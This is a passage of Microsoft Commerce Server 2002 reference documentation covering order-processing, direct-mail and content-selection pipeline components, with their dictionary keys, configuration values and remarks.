MoneyConverter | Converts OrderForm keys and values from integers to the new currency type, or from the new currency type to integer.
OrderDiscount | Applies discounts scheduled in the Campaign Manager module in Commerce Server Business Desk to the shopping basket.
POtoFile | Sends a purchase order or other textual data to a file.
QueryCatalogInfo | Retrieves catalog information for every item in the order form.
QueryProdInfoADO | Retrieves product information from a database.
RecordEvent | Records event delta counts for the selected content items (the winners) in the Performance dictionary.
RecordHistory | Records the identifiers of the winning content items in the history list string.
RequiredHandlingCy, RequiredHandling | Verifies that the handling total is present in the order.
RequiredItemAdjustPriceCy, RequiredItemAdjustPrice | Ensures that the current price for each item in the order is set and that it has not been changed since the last time the basket was viewed.
RequiredItemPriceCy, RequiredItemPrice | Verifies that each item in the order form has a regular price assigned to it. Regular prices are assigned by the DefaultItemPrice pipeline component and similar components.
RequiredOrderAdjustPriceCy, RequiredOrderAdjustPrice | Adjusts the total cost of each item in the order after applying any discounts.
RequiredOrderCheck | Verifies that the order form contains at least one item.
RequiredOrderInitCy, RequiredOrderInit | Initializes the payment authorization code, order ID, totals, and subtotals in the order form.
RequiredOrderSubtotalCy, RequiredOrderSubtotal | Ensures that a subtotal exists on the order form.
RequiredPayment | Verifies that the payment authorization code exists in the order form (is not NULL).
RequiredProdInfo | Deletes items flagged for deletion by a previous Product Info stage component.
RequiredShippingCy, RequiredShipping | Verifies that the shipping total has been set.
RequiredTaxCy, RequiredTax | Verifies that the total tax and tax included appear in the order form.
RequiredTotalCy, RequiredTotal | Verifies that values on a page have not been tampered with or reset. The components compare values in the order against values in the _Verify_With dictionary.
SaleAdjust | Applies a sale price to an item. This pipeline component is used for backward compatibility only. This pipeline component has been replaced by the OrderDiscount component.
SampleRegionalTax | Use this component for calculating taxes using the multiple shipment features of Commerce Server 2002.
SaveHistory | Records the history string in one of three locations: the User Profile object, the Active Server Pages (ASP) session collection, or the Hypertext Transfer Protocol (HTTP) cookie.
SaveReceipt | Saves the order in a database table.
ScoreDiscounts | Adjusts scores of discount items to promote discounts most relevant to the current user.
Scriptor | Executes a script in a Microsoft ActiveX scripting language.
SelectWinners | Selects items based on their final scores in the Content Selection pipeline.
SendPrecomposedMessage | Sends a direct mail message composed in earlier stages in the pipeline.
SendSMTP | Sends an e-mail message to a specified recipient.
ShippingDiscountAdjust | Applies shipping discounts to the order.
ShippingManagerCache | Loads shipping data for the multiple shipments shipping architecture through the CacheManager object.
ShippingMethodRouter | The ShippingMethodRouter pipeline component looks up and runs the pipeline components that calculate shipping costs for individual shipments, and then calculates the shipping total for the entire order.
SimpleCanadaTax | Calculates the Canadian Goods and Services Tax (GST) and Provincial Sales Tax (PST).
SimpleJapanTax | Computes taxes according to the Japanese tax model.
SimpleUSTax | Applies taxes on any order sent to a specified state in the United States.
SimpleVATTax | Calculates a value-added tax (VAT).
Splitter | Divides the order into groups based on a list of item keys. Frequently used to divide the order into multiple shipments.
SQLItemADO | Runs a query for each item in the order form.
SQLOrderADO | Runs a single SQL query on the order, passing order parameters to the query.
StepwiseShipping | Calculates shipping costs for shipments in the multiple-shipment shipping architecture. This component is never directly used in a pipeline; it is run by the ShippingMethodRouter pipeline component.
TableHandlingADO | Sets the handling total on the order based on values retrieved from the database.
TableShippingADO | Sets the total shipping on the order by using values retrieved from the database.
ThrottleDMLPerformance | Controls the speed with which direct mail messages are processed by the pipeline.
ValidateCCNumber | Checks the expiration date of a credit card and performs a checksum test on the number.
VerifyMessageBody | Checks the body of a direct mail message according to the user flags.
VerifyRecipientData | Checks the data about the recipient of a direct mail message.


AddAttachments

Use this component to add attachments to a direct mail message.

Although the component appears as AddAttachments in the Pipeline Editor, its ProgID is Commerce.DMLAddAttachments.

Intended use: Direct Mailer pipeline, Compose E-mail stage.

Configuration Values

None.

Values Read

The AddAttachments component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
rcp_bypass | Order | Boolean. The component bypasses (skips) processing if True.
cdo_result | Order | The result code (an HRESULT) from the most recent Collaboration Data Objects (CDO) operation.
attachments | Order | A SimpleList of Uniform Resource Locators (URL) pointing to attachments.
cdo_message | Context | A reference to the CDO message object (CDO.Message).

Values Written

The AddAttachments component writes the following values to the Order dictionary.

Key | Description
cdo_result | The result code (an HRESULT) from the most recent CDO operation.
cdo_error | Optional. An error string from the most recent CDO operation, if any. NULL if there is no error.

Remarks

The AddAttachments component uses the CDO for Microsoft Windows 2000 to add the attachments to the message.

The component skips processing if the bypass flag (rcp_bypass) is True or if the last CDO operation did not succeed (cdo_result not equal to S_OK).

The message body should already exist before this component runs.

See Also

ComposeDMLMessage

CreateUPMCookie

SendPrecomposedMessage

ThrottleDMLPerformance

VerifyMessageBody

VerifyRecipientData


AdvertisingNeedOfDelivery

Use this component to ensure advertisements are selected often enough to meet business commitments.

Although this component appears as AdvertisingNeedOfDelivery in the Pipeline Editor, its ProgID is Commerce.CSFAdvertisingNeedofDelivery.

Intended use: Content Selection pipeline, Initial Score stage.

Configuration Values

None.

Values Read

The AdvertisingNeedOfDelivery component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
_content | Order | A reference to the ContentList object containing the content items.
_performance | Order | A reference to the Performance dictionary retrieved from the cache by the InitCSFPipeline component.
_cache._LastNODRecalc | Context | The _LastNODRecalc key value is read from the _cache key, a reference to the current dictionary containing advertising information. The _LastNODRecalc value is the time that the AdvertisingNeedOfDelivery component last recomputed the need of delivery for all ads in the ContentList object.
Trace | Context | Optional. A Boolean indicating whether score adjustment tracing is enabled. This component will not produce trace strings unless this flag is set to True.

The AdvertisingNeedOfDelivery component reads the following values for each item in the ContentList object referred to by the _content key.

Key | Description
need_of_delivery | The need of delivery for the item — the initial score of the item.
invalid_nod | A Boolean flag. If True, the need of delivery will be recalculated for the item.
ad_type The type of the ad. Valid types are:
  • 1 for paid ads
  • 2 for house ads
ad_weight | The current weight assigned to the ad. Used for house ads or paid ads in a campaign-level goaled campaign. Specified in the Campaign Manager module in Commerce Server Business Desk.
event_name | The name of the event.
events_scheduled | The total number of events scheduled for the item.
events_served | The total number of events served to date.
prev_events_served | The number of events served before the effective date.
eff_date_start | The effective item start date.
date_end | The item end date.
time_of_day_start | The time of day the event starts.
time_of_day_end | The time of day the event ends.
days_of_week | The days of the week bit flags.

Values Written

The AdvertisingNeedOfDelivery component writes the following values to the indicated dictionaries.

Key | Dictionary | Description
_content Order Specifically, the component writes to the following fields of the content items:
need_of_delivery
The calculated need of delivery for the ad.

invalid_nod

Reset to False because the need of delivery has been calculated.

score

The score for the item. Initialized to the need of delivery for the item or, for house ads, the ad_weight key.
_cache._LastNODRecalc | Context | The time that the AdvertisingNeedOfDelivery component last recomputed the need of delivery for all ads in the ContentList object.

Remarks

This component calculates the Need of Delivery (NOD) for ad items in the ContentList object and assigns these as the initial scores for the items. The NOD for each item is recalculated periodically or when the invalid_nod flag for that item is True. For more information about columns in the ContentList object, see CSFLoadAdvertisements.

The AdvertisingNeedOfDelivery component uses the SetScore method of the ContentList object for setting the initial scores.

The NOD value for paid advertisements is not calculated in this component. Rather, for efficiency, it is calculated in the LoadAdvertisements cache loader component, and in the RecordEvent pipeline component. For paid ads, this component copies the value in the need_of_delivery field into the score field.

The NOD for house ads is set to be equal to the weight of the house ad. The decision as to whether or not to serve house ads is made by the SelectWinners pipeline component. House ads compete only against other house ads. The run percentage for a house ad is equal to the weight of the ad divided by the sum of the weights for all house ads.

This scoring strategy is different than that used in the Site Server 3.0 Commerce Edition AdServer component. In the Site Server 3.0 Commerce Edition AdServer component each house ad was scored and selected just like paid ads, only starting at a fixed need of delivery score of 0.95.

Commerce Server 2002 uses a NOD formula for paid ads. It is designed to give each ad a fair chance of selection when the entire ad schedule is lagging. Under this formula, all ads appear at rates proportional to their goals.

The formula is:

NOD = ( Events Scheduled / Time Total ) / ( Events Served / Time Elapsed )

With the formula used, an ad meeting its delivery goals will have a NOD equal to 1.0. An ad that is lagging will have an NOD greater than 1.0. The farther behind an ad is in its delivery goal, the greater the NOD. Ads that have exceeded their delivery goals have an NOD of less than 1.0.

See Also

SelectWinners


ComposeDMLMessage

Use this component to create the body of a direct mail message.

Although the component appears as ComposeDMLMessage in the Pipeline Editor, its ProgID is Commerce.DMLComposeMessage.

Intended use: DirectMailer pipeline, Compose E-mail stage.

Configuration Values

None.

Values Read

The ComposeDMLMessage component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
rcp_bypass | Order | Boolean. The component bypasses (skips) processing if True.
use_precomposed_body | Order | Boolean. If True, the component creates the message from the plain-text body assigned to the precomposed_body key.
precomposed_body | Order | Optional. The plain-text message body. This key defaults to an empty string.
rcp_url | Order | Optional. The URL used to retrieve the mailing content. This takes precedence over default_url key.
rcp_url_isfile | Order | Optional. This is True if the URL for the content (rcp_url) is a file and not an http:// address.
rcp_url_content | Order | Optional. The content of the file pointed to by the rcp_url key if the rcp_url_isfile key is True.
from_field | Order | The "From" field for the message.
replyto_field | Order | The "Reply-to" field for the message.
rcp_email | Order | The e-mail address of the recipient.
subj_field | Order | The "Subject" field for the message.
rcp_formatting Order Determines the format of the message. The values are:

0 — Default formatting

1 — Plain text

2 — MIME

3 — MHTML

This key overrides the default formatting.
rcp_personalize Order Indicate whether or not to personalize the message for this recipient. The values are:

0 — Do not personalize

1 — Personalize

This key defaults to 1 (personalize).
rcp_locale | Order | The locale code to use for the recipient.
default_locale | Order | Optional. The locale code to use if there is no recipient locale code (rcp_locale).
cookie | Order | The dictionary containing the cookie data.
cdo_message | Context | A reference to the Collaboration Data Objects (CDO) message object (CDO.Message).
cdo_config | Context | A reference to the CDO configuration object (CDO.Configuration).
default_url | Context | Optional. The URL used to retrieve the mailing content.
default_url_isfile | Context | Optional. This is True if the default URL is a file path and not an http:// path.
default_url_content | Context | Optional. The content of the file pointed to by the default_url key if the default_url_isfile key is True.
default_formatting Context Optional. The default format for the message. The values are:

0 — Default formatting

1 — Plain text

2 — MIME

3 — MHTML
cdo_CreateMHTMLBodyFlags Context Optional. Responsible for controlling whether objects in the email message are embedded or not. If this key is not set, objects in the email are embedded. If the key is set to the appropriate value (31), the direct mail message body contains the output of the target web page as is.

For example, if MailFormat is set to 3 (MHTML), and the CreateMHTMLBodyFlags is set to 31, the mail message body snippets is:

<img src=www.microsoft.com/banner.jpg height=100 width=100>

If MailFormat is set to 3 (MHTML), and the CreateMHTMLBodyFlags is not set, the mail message body snippets is:

<img src=cid:000101c1c44f$1bf3a256$_CDOSYS2.0 height=100 width=100 />

To set this key, you typically add a scriptor component preceding the ComposeDMLMessage pipeline component to the current stage with the following code:

function MSCSExecute(config, orderform, context, flags)
context("cdo_CreateMHTMLBodyFlags") = 31
MSCSExecute = 1
end function
sub MSCSOpen(config)
end sub
sub MSCSClose()
end sub

For more information about the CreateMHTMLBody method and the CdoMHTMLFlags enumeration, see the Platform SDK in the MSDN Online Library at http://go.microsoft.com/fwlink/?LinkId=5161.

Values Written

The ComposeDMLMessage component writes the following values to the Order dictionary.

Key | Description
cdo_result | The result code (an HRESULT) from the most recent CDO operation.
cdo_error | Optional. An error string from the most recent CDO operation, if any. NULL if there is no error.

Remarks

The ComposeDMLMessage component skips processing if the bypass flag (rcp_bypass) is True. Otherwise, it uses the Collaboration Data Objects (CDO) for Microsoft Windows 2000 to create the mail message. The component checks for errors after each CDO operation.

For non-personalized messages using a simple flat file, you can set the use_precomposed_body key to True. The component will load the message body from the precomposed_body key.

For personalized messages, the ComposeDMLMessage component uses the information gathered by the CreateUPMCookie component to create the cookie string.

The ComposeDMLMessage component can process multilingual messages using locale values from the Order dictionary (the rcp_locale key or the default_locale key). The locale values are passed to the CDO without checking. If no locale code is given, the CDO default locale is used.

If a file path is used for the rcp_url key or the default_url key, Direct Mailer preloads the content of the file (into the rcp_url_content key or the default_url_content key) in order to improve performance. In this case, message content is limited to 2 megabytes for plain ASCII text and to 1 megabyte for Unicode text.

See Also

AddAttachments

CreateUPMCookie

SendPrecomposedMessage

ThrottleDMLPerformance

VerifyMessageBody

VerifyRecipientData


CreateUPMCookie

Use this component to collect cookie data to pass to an Active Server Pages (ASP) page generating a personalized message.

Although the component appears as CreateUPMCookie in the Pipeline Editor, its ProgID is Commerce.DMLCreateUPMCookie.

Intended use: DirectMailer pipeline, Create Cookies stage.

Configuration Values

None.

Values Read

The CreateUPMCookie component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
rcp_bypass | Order | Boolean. The component bypasses (skips) processing if True.
rcp_personalize | Order | Optional. Numeric. Use this key to indicate whether or not to personalize the message for this recipient. The values are: 0 — Do not personalize 1 — Personalize The default is 1 (personalize).
cookie | Order | Optional. A reference to a dictionary to hold the created cookie. This key is created if it is not present.
rcp_guid | Order | Optional. The globally unique identifier (GUID) uniquely identifying this recipient, taken from the user profile.
rcp_email | Order | The e-mail address of the recipient.
css_site | Context | The site ID string.
campaign_item | Context | Optional. The campaign item ID.
campaign_item_name | Context | Optional. The name of the campaign item.
default_url_isfile | Context | This key is True if the defaultURL is a file path and not an http:// address.

Values Written

The CreateUPMCookie component writes the following values to the Order dictionary.

Key | Description
Cookie | A dictionary containing the information that will be used in the cookie.

Remarks

The CreateUPMCookie component does nothing if the rcp_bypass key is True, if the default_url_isfile key is True, or if the rcp_personalize key is zero (0).

The CreateUPMCookie component keeps the cookie information in a dictionary. The cookie string is produced by the ComposeDMLMessage component.

If the message is not personalized, the component creates a cookie entry (assigns YES to the key Microsoft_DirectMailer) to prevent the Collaboration Data Objects (CDO) from using a locally stored cookie.

The cookie string created from the data has the following format:

MSCSProfile='encryptedstring';CampaignItemID=string;CampaignItemName=string;UserEmail=string

The items in the cookie have the following meanings.

Item | Description
MSCSProfile | String. The user profile ID, which is needed for personalizing the message.
CampaignItemID | String. The Campaign item ID, which is necessary for click tracking.
CampaignItemNames | String. The Campaign item name, which allows labeling the message for the user.
UserEmail | String. The e-mail address of the user.

The abbreviations in the table are also the keys used in the Cookie dictionary.

The user profile ID is encrypted only when the e-mail is sent as part of the campaign. In a stand-alone Direct Mailer job, the user profile ID is not encrypted.

See Also

AddAttachments

ComposeDMLMessage

SendPrecomposedMessage

ThrottleDMLPerformance

VerifyMessageBody

VerifyRecipientData


CSFLoadAdvertisements

Use this component with the CacheManager object to load advertising content from a database.

Note

  • Although the CSFLoadAdvertisements component implements two pipeline component interfaces (IPipelineComponent and IPipelineComponentAdmin), it is not a pipeline component, it does not appear in the Pipeline Editor, and it cannot be used or configured in the Pipeline Editor.

Configuration Values

None.

Values Read

None.

Values Written

None.

Remarks

You can use the CSFLoadAdvertisements component with the CacheManager object to load advertising content for use later in your application.

When run by the CacheManager object, the CSFLoadAdvertisements component uses two pipeline dictionaries (Order and Context) to determine how to run and how to return information to the CacheManager object.

The CSFLoadAdvertisements component first opens a connection to the database and gets the list of ads. The component uses a ContentListFactory object to populate a ContentList object with the data. The component then breaks the retrieved data into templates, target groups, and page groups.

The following table describes the columns in the ContentList object returned by the CSFLoadAdvertisements component. Column names appear in alphabetical order.

Column Name | Type | Flags
ad_type | short (CLCOL_I2) | 1 (CLCOL_READONLY)
ad_weight | int (CLCOL_I4) | 1 (CLCOL_READONLY)
campaign_id | int (CLCOL_I4) | 1 (CLCOL_READONLY)
customer_id | int (CLCOL_I4) | 1 (CLCOL_READONLY)
date_end | date/time (CLCOL_DATE) | 1 (CLCOL_READONLY)
date_start | date/time (CLCOL_DATE) | 1 (CLCOL_READONLY)
days_of_week | short (CLCOL_I2) | 1 (CLCOL_READONLY)
eff_date_start | date/time (CLCOL_DATE) | 1 (CLCOL_READONLY)
event_name | String (CLCOL_STRING) | 1 (CLCOL_READONLY)
events_scheduled | int (CLCOL_I4) | 1 (CLCOL_READONLY)
events_served | int (CLCOL_I4) | 1 (CLCOL_READONLY)
exposure_limit | int (CLCOL_I4) | 1 (CLCOL_READONLY)
height | short (CLCOL_I2) | 1 (CLCOL_READONLY)
industry | String (CLCOL_STRING) | 1 (CLCOL_READONLY)
invalid_nod | Boolean (CLCOL_BOOL) | 0 (DEFAULT)
item_id | int (CLCOL_I4) | 1 (CLCOL_READONLY)
name | String (CLCOL_STRING) | 1 (CLCOL_READONLY)
need_of_delivery | real (CLCOL_R4) | 0 (DEFAULT)
prev_events_served | int (CLCOL_I4) | 1 (CLCOL_READONLY)
score | real (CLCOL_R4) | 6 (CLCOL_PRIVATE | CLCOL_SCORE_COLUMN)
size | String (CLCOL_STRING) | 1 (CLCOL_READONLY)
target_groups | SafeArray (CLCOL_VARIANTARRAY) | 1 (CLCOL_READONLY)
template | String (CLCOL_STRING) | 1 (CLCOL_READONLY)
time_of_day_end | short (CLCOL_I2) | 1 (CLCOL_READONLY)
time_of_day_start | short (CLCOL_I2) | 1 (CLCOL_READONLY)
values | IDispatch (CLCOL_DISPATCH) | 1 (CLCOL_READONLY)
width | short (CLCOL_I2) | 1 (CLCOL_READONLY)

Abbreviations in the table are enumerated values for the ContentList object. For more information, see the Remarks section for ContentListSchema.ColumnType.

Example

See the example in CacheManager Object.


CSFLoadDiscounts

Use this component with the CacheManager object to load discounts for the Content Selection Framework.

Note

  • Although the CSFLoadDiscounts component implements two pipeline component interfaces (IPipelineComponent and IPipelineComponentAdmin), it is not a pipeline component, it does not appear in the Pipeline Editor, and cannot be used or configured in the Pipeline Editor.

Configuration Values

None.

Values Read

None.

Values Written

None.

Remarks

You can use the CSFLoadDiscounts component with the CacheManager object to load discounts for use later in your application.

When run by the CacheManager object, the CSFLoadDiscounts component uses two pipeline dictionaries (Order and Context) to determine how to run and how to return information to the CacheManager object.

The CSFLoadDiscounts component first opens a connection to the database and gets the list of discounts. The component uses a ContentListFactory object to populate a ContentList object with the data. The component then extracts templates, target groups, and page groups from the retrieved information.

The following table describes the columns in the ContentList object returned by the CSFLoadDiscounts component. Column names appear in alphabetical order.

Column Name | Type | Flags
award_expr | int (CLCOL_I4) | 1 (CLCOL_READONLY)
award_max | int (CLCOL_I4) | 1 (CLCOL_READONLY)
campaign_id | int (CLCOL_I4) | 1 (CLCOL_READONLY)
click_required | Boolean (CLCOL_BOOL) | 1 (CLCOL_READONLY)
condition_basis | int (CLCOL_I4) | 1 (CLCOL_READONLY)
condition_expr | int (CLCOL_I4) | 1 (CLCOL_READONLY)
condition_mny_min | Currency (CLCOL_CY) | 1 (CLCOL_READONLY)
condition_qty_min | int (CLCOL_I4) | 1 (CLCOL_READONLY)
date_end | date/time (CLCOL_DATE) | 1 (CLCOL_READONLY)
date_modified | date/time (CLCOL_DATE) | 1 (CLCOL_READONLY)
date_start | date/time (CLCOL_DATE) | 1 (CLCOL_READONLY)
description | String (CLCOL_STRING) | 1 (CLCOL_READONLY)
disc_id | int (CLCOL_I4) | 1 (CLCOL_READONLY)
disjoint | Boolean (CLCOL_BOOL) | 1 (CLCOL_READONLY)
exposure_limit | int (CLCOL_I4) | 1 (CLCOL_READONLY)
expressions_used_for_display | Boolean (CLCOL_BOOL) | 1 (CLCOL_READONLY)
height | short (CLCOL_I2) | 1 (CLCOL_READONLY)
item_id | int (CLCOL_I4) | 1 (CLCOL_READONLY)
limit | int (CLCOL_I4) | 1 (CLCOL_READONLY)
name | String (CLCOL_STRING) | 1 (CLCOL_READONLY)
offer_type | int (CLCOL_I4) | 1 (CLCOL_READONLY)
offer_value | Currency (CLCOL_CY) | 1 (CLCOL_READONLY)
order_level | Boolean (CLCOL_BOOL) | 1 (CLCOL_READONLY)
pagegroups | SafeArray (CLCOL_VARIANTARRAY) | 1 (CLCOL_READONLY)
rank | int (CLCOL_I4) | 1 (CLCOL_READONLY)
required_exprs | SafeArray (CLCOL_VARIANTARRAY) | 1 (CLCOL_READONLY)
score | real (CLCOL_R4) | 6 (CLCOL_PRIVATE | CLCOL_SCORE_COLUMN)
size | String (CLCOL_STRING) | 1 (CLCOL_READONLY)
special_offer_type | String (CLCOL_STRING) | 1 (CLCOL_READONLY)
target_groups | SafeArray (CLCOL_VARIANTARRAY) | 1 (CLCOL_READONLY)
template | String (CLCOL_STRING) | 1 (CLCOL_READONLY)
width | short (CLCOL_I2) | 1 (CLCOL_READONLY)

Abbreviations in the table are enumerated values for the ContentList object. For more information, see the Remarks section in ContentListSchema.ColumnType.

Example

See the example in CacheManager Object.


CSFWriteEvents

Use this component with the CacheManager object to log event content from the Content Selection Framework.

Note

  • Although the CSFWriteEvents component implements two pipeline component interfaces (IPipelineComponent and IPipelineComponentAdmin), it is not a pipeline component, it does not appear in the Pipeline Editor, and cannot be used or configured in the Pipeline Editor.

Configuration Values

You can determine how the CSFWriteEvents component runs by setting component properties. Use the following box on the CSFWriteEvents tab of the Component Properties dialog box to determine this information.

Box | Description
Connection String | The connection string used to connect to the database. This may be a full connection string or a name in a connection map. If blank, the default connection string is passed.

Values Read

The CSFWriteEvents component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
_performance | Order | The previous event delta count for the various content items.

Values Written

None.

Remarks

You can use the CSFWriteEvents component with the CacheManager object to save event information in the database for later adjustment of advertising and other campaign schedules.

When run by the CacheManager object, the CSFWriteEvents component uses two pipeline dictionaries (Order and Context) to determine how to run and how to return information to the CacheManager object.

The CSFWriteEvents component first opens a connection to the database. It then writes the event data to the database using information stored in the Performance dictionary.

Example

See the example in CacheManager Object.


DBOrderPromoADO

Use this component to run a query to retrieve data about price promotions from the database and to adjust item prices accordingly.

Intended use: Order Processing pipeline, Order Adjust Price stage.

Note

  • The DBOrderPromoADO component should not be used for future development. The discount features of the Content Selection pipeline provide a more powerful and general mechanism for applying product discounts. For more information, see Discount Objects.

Configuration Values

You can determine where the DBOrderPromoADO component retrieves the document and where it writes the result by setting component properties. Use the following boxes on the DB Order Promo (ADO) tab of the Component Properties dialog box to determine this information.

Box | Description
Query | Type either the full SQL text of the query run by this component or the name of a query whose full SQL text is defined in the Global.asa file.
Connection string | Type the connection string to connect to the database. This may be a full data source name (DSN) or a name in a connection map. If blank, the default connection string is used.

Values Read

The DBOrderPromoADO component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
item._iadjust_currentprice | Order | The current price of the item before the promotion is applied.
item._product_* | Order | Optional. The product properties for each item.
_shopper_* | Order | Optional. The shopper properties.
item._n_unadjusted | Order | Optional. The quantity of line items that have not been discounted.
item.quantity | Order | The quantity of the item ordered.
DefaultConnectionString | Context | Optional. The key in the Application dictionary containing the default query string.
ConnectionStringMap | Context | Optional. The map in which to look up the name of a mapped connection string.
QueryMap | Context | Optional. A reference to a dictionary containing a query map.

Values Written

The DBOrderPromoADO component writes the following values to the Order dictionary.

Key | Description
item._oadjust_adjustedprice | The total price of all the items after all the discounts have been applied. May have been adjusted by the application of a promotion.
item._n_unadjusted | The quantity of line items that have not been discounted. May have been adjusted by the application of a promotion.

Remarks

The DBOrderPromoADO component runs a query to determine if the promotional conditions defined in a database table have been met by items in the order form. If they have, the DBOrderPromoADO component applies the promotion to the OrderForm object by initializing item._oadjust_adjustedprice and item._n_unadjusted keys for the item affected by the promotion.

The item._oadjust_adjustedprice key reflects the total cost of a given item, adjusted for promotions. The item._n_unadjusted key contains the number of items that were not affected by the promotion.

Suppose, for example, that you define a promotion in which a user who purchases one of Item A gets one of Item B at half-price. Suppose further that the following conditions exist:

  • The user has purchased one of Item A.
  • The user has purchased three of Item B.
  • Item B has a regular price of 1.00.

When the DBOrderPromoADO component is run, the user will, by the terms of the promotion, get two of the items at the regular price of 1.00. However, the user will get the third item at 50 percent off. Thus, the item._oadjust_adjustedprice key for Item B will be 2.50.

In addition, because only one of the three Item B products will have been promotionally adjusted, the item._n_unadjusted key will be set to two. This is critical, because once an item has had its price adjusted, the price cannot be adjusted again.

In this example, one of Item B had its price adjusted. The other two Item B items did not. Consequently, no matter how many of the three items qualify for a promotional adjustment under a later DBOrderPromoADO component, only the two previously unadjusted Item B items can be adjusted.

Because the DBOrderPromoADO component expects the query that you supply to reference a specific group of table columns, the table in which you store promotions must have a given structure.

The database query must return the following columns not marked as Optional:

Database Column | Description
cond_column | This column contains the name of the item attribute against which the promotion condition is checked.
cond_op | A comparison operator that compares cond_column to cond_value; for example = or <>.
cond_value A value that identifies the item being promoted. For example, if the cond_column is _product_pfid, the cond_op is "=" and the cond_value is 22; then an item in the items list with a _product_pfid that evaluates to 22 meets the condition set.

If this value is a number, it must be an integer value; floating-point numbers (for example, 10.0) are not accepted.
cond_all | Optional. If set to 1 (True), any product in the set of products to be purchased will trigger this promotion. Otherwise, this promotion will be triggered only by products that meet the criteria defined in cond_column, cond_op, and cond_value (the condition set). Products are removed from the condition and award sets after they have been involved in a promotion to prevent a single product from being a participant in multiple promotions.
award_column | The award_column, coupled with the award_op and award_value columns, define the award set for the promotion. The award column contains a value indicating the key and value that defines the award criteria.
award_op | A comparison operator that compares award_column with award_value; for example = or <>.
award_value | This column indicates the value of the element referenced by the award_column column.
award_all | Optional. If set to 1 (True), then the award can be applied to any product. Otherwise, this award will be applied only to products that meet the criteria defined in the award_column, award_op, and award_value columns (the award set).
shopper_column | A value indicating the user-specific information. This can be a wildcard value (@) that indicates all users are eligible for the promotion.
shopper_op | This column should be set to = if a user is specified; otherwise, it is a wildcard value (@).
shopper_value | A value indicating the type of user; if it is any user, set it to a wildcard value (@).
shopper_all | Optional. This column indicates whether this promotion is available to all users. If this value is 0 (False), the promotion is available only to users who meet the criteria defined in the shopper_column, shopper_op, and shopper_value columns.
cond_min | This column contains a value, in cents (or other currency unit), or the number of units of the minimum purchase necessary to be eligible for the promotion. The interpretation of the cond_min column depends on the value referenced in the cond_basis column. For example, if the cond_basis column contains "P", the cond_min column is assumed to measure price. If the cond_basis column contains "Q", the cond_min column is assumed to measure quantity.
cond_basis | A value indicating whether the cond_min column is measured in price or quantity (P or Q, respectively).
award_max | The size of the award set.
disjoint_cond_award The column contains a number (1 or 0) indicating whether the award can be "disjointed." If the value is 0, the award is disjointed; otherwise, it is not. The term disjointed, in this context, refers to whether or not an item can promote itself. Where the condition set and the award set do not refer to the same item, this value is ignored.

Suppose, for example, that you have a promotion that dictates that if you purchase one of Item A, you get one of Item A at fifty percent off.

If the award is not disjointed (the column disjoint_cond_award is equal to 0), then a user needs to purchase only one of Item A to get that item at fifty percent off. If the award is disjointed (the column disjoint_cond_award is equal to 1), then a user purchasing Item A will get a second Item A at fifty percent off, but will receive no discount until the second item is added to the basket.
disc_value | A number indicating the amount of the discount.
disc_type | A type of discount, either a percent (%) or a currency ($) symbol.
date_start | Optional field. The date the promotion begins, at one second after midnight.
date_end | Optional field. The date the promotion ends, at one second after midnight. Because the date_start and date_end columns are actually date-time pairs that specify midnight, the date_end column excludes the date specified.
Connection String | The DSN connection string to be used to connect to the database.

An order promotion has three criteria: the user criterion, a condition criterion, and an award criterion. If the user does not match the user criterion, the promotion is not applied. If the user does match the user criterion, then the other two criteria are applied to all the items in the order, producing two sets: the condition set (those matching the condition criterion) and the award set (those matching the award criterion).


DefaultHandlingCy, DefaultHandling

Use these components as placeholder handling components. They initialize the total handling for an order to zero (0).

The DefaultHandling component is for backward compatibility only. The DefaultHandlingCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines. For more information, see Currency Enhancements.

Intended use: Order Processing pipeline, Handling stage.

Configuration Values

None.

Values Read

None.

Values Written

The DefaultHandlingCy component assigns a value to the following key in the Order dictionary. The DefaultHandling component assigns a value to the same key but without cy_.

Key | Description
order._cy_handling_total | The total cost for handling the order.

Remarks

The DefaultHandlingCy and DefaultHandling components assign zero (0) to the total handling cost in the Order dictionary. They are placeholder components that are replaced by other handling components in actual use.


DefaultItemPriceCy, DefaultItemPrice

Use these components to set the regular price of an item to the list price returned by components such as QueryCatalogInfo or QueryProdInfoADO.

The DefaultItemPrice component is for backward compatibility only. The DefaultItemPriceCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines. For more information, see Currency Enhancements.

Intended use: Order Processing pipeline, Item Price stage.

Configuration Values

None.

Values Read

The DefaultItemPriceCy component reads the following values from the indicated dictionaries. The DefaultItemPrice component reads the same value but without cy_.

Key | Dictionary | Description
item._product_cy_list_price | Order | The list price for the item as returned by a component such as QueryCatalogInfo or QueryProdInfoADO.

Values Written

The DefaultItemPriceCy component assigns a value to the following key in the Order dictionary. The DefaultItemPrice component assigns a value to the same key but without cy_.

Key | Description
item._cy_iadjust_regularprice | The regular price of the item.

Remarks

The DefaultItemPriceCy and DefaultItemPrice components perform the same actions although on different dictionary keys. The following discussion uses the keys for DefaultItemPriceCy.

To set the regular price to a price other than the list price, replace these components in the pipeline.

For each item in the order form (each item in the items collection), the DefaultItemPriceCy component assigns the _iadjust_regularprice key to the value stored in the _cy_product_list_price key for the item. The regular price is typically set by the QueryCatalogInfo or QueryProdInfoADO components in the Product Info stage.

If the QueryCatalogInfo or QueryProdInfoADO components do not retrieve the list price, the Item dictionary will not contain the _product_list_price key. In this case, you need to add a component (a Scriptor, for example) to retrieve the list prices so that the DefaultItemPrice component can initialize the _iadjust_regularprice key.

Stages that follow the Item Price stage in the pipeline contain components that depend on the _iadjust_regularprice key being set. If this key does not have a value, these components fail. The RequiredItemPrice component ensures that the values exist.

See Also

QueryCatalogInfo

QueryProdInfoADO

RequiredItemPriceCy, RequiredItemPrice


DefaultOrderSubTotalCy, DefaultOrderSubTotal

Use these components to calculate the subtotal for an order.

The DefaultOrderSubTotal component is for backward compatibility only. The DefaultOrderSubTotalCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines. For more information, see Currency Enhancements.

Intended use: Order Processing pipeline, Order Subtotal stage.

Configuration Values

None.

Values Read

The DefaultOrderSubTotalCy component reads the following values from the indicated dictionaries. The DefaultOrderSubTotal component reads the same key but without cy_.

Key | Dictionary | Description
item._cy_oadjust_adjustedprice | Order | The total price of all the items after all the discounts have been applied.

